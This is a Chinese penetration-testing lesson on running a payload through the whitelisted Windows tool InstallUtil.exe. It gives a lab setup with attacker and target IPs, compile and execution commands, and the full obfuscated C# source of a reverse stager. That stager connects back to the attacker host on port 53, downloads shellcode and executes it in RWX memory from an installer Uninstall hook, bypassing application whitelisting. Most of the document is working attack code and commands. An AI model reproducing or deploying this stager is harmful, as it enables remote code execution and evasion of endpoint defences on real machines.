第七十二课：基于白名单Installutil.exe执行payload第二季
Installutil简介：
Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。 具体参考：Windows Installer部署 https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)
说明：Installutil.exe所在路径没有被系统添加PATH环境变量中，因此，Installutil命令无法识别。
基于白名单installutil.exe配置payload：
Windows 7 默认位置：
1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Copied!
攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7
配置攻击机msf：
靶机执行：
靶机编译：
1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs
Copied!
payload：
Micropoor.exe
靶机执行：
1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe
Copied!
附录：Micropoor.cs
注：x64 payload
1
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;
2
3
public class GQLBigHgUniLuVx {
4
5
public static void Main()
6
7
{
8
9
while(true)
10
11
{{ MessageBox.Show("doge"); Console.ReadLine();}}
12
13
}
14
15
}
16
17
[System.ComponentModel.RunInstaller(true)]
18
19
public class esxWUYUTWShqW : System.Configuration.Install.Installer
20
21
{
22
23
public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
24
25
{
26
27
jkmhGrfzsKQeCG.LCIUtRN();
28
29
}
30
31
}
32
33
public class jkmhGrfzsKQeCG
34
35
{ [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
36
37
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
38
39
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
40
41
static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) {
42
43
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
44
45
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
46
47
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
48
49
catch { return null;}
50
51
byte[] UmquAHRnhhpuE = new byte[4];
52
53
XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);
54
55
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0);
56
57
byte[] qaYyFq = new byte[kFVRSNnpj + 5];
58
59
int SRCDELibA = 0;
60
61
while (SRCDELibA < kFVRSNnpj)
62
63
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj ‐ SRCDELibA) < 4096 ? (kFVRSNnpj ‐ SRCDELibA) : 4096, 0);}
64
65
byte[] TvvzOgPLqwcFFv = BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
66
67
Array.Copy(TvvzOgPLqwcFFv, 0, qaYyFq, 1, 4); qaYyFq[0] = 0xBF;
68
69
return qaYyFq;}
70
71
static void cmMtjerv(byte[] HEHUjJhkrNS) {
72
73
if (HEHUjJhkrNS != null) {
74
75
UInt32 WcpKfU = VirtualAlloc(0, (UInt32)HEHUjJhkrNS.Length, 0x1000, 0x40);
76
77
Marshal.Copy(HEHUjJhkrNS, 0, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
78
79
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
80
81
UInt32 wdjYKFDCCf = 0;
82
83
IntPtr XVYcQxpp = IntPtr.Zero;
84
85
UhxtIFnlOQatrk = CreateThread(0, 0, WcpKfU, XVYcQxpp, 0, ref wdjYKFDCCf);
86
87
WaitForSingleObject(UhxtIFnlOQatrk, 0xFFFFFFFF); }}
88
89
public static void LCIUtRN() {
90
91
byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);
92
93
cmMtjerv(IBtCWU);
94
95
} }
Copied!
installutil.snk 596BMicropoor
Last modified 3yr ago
Copy link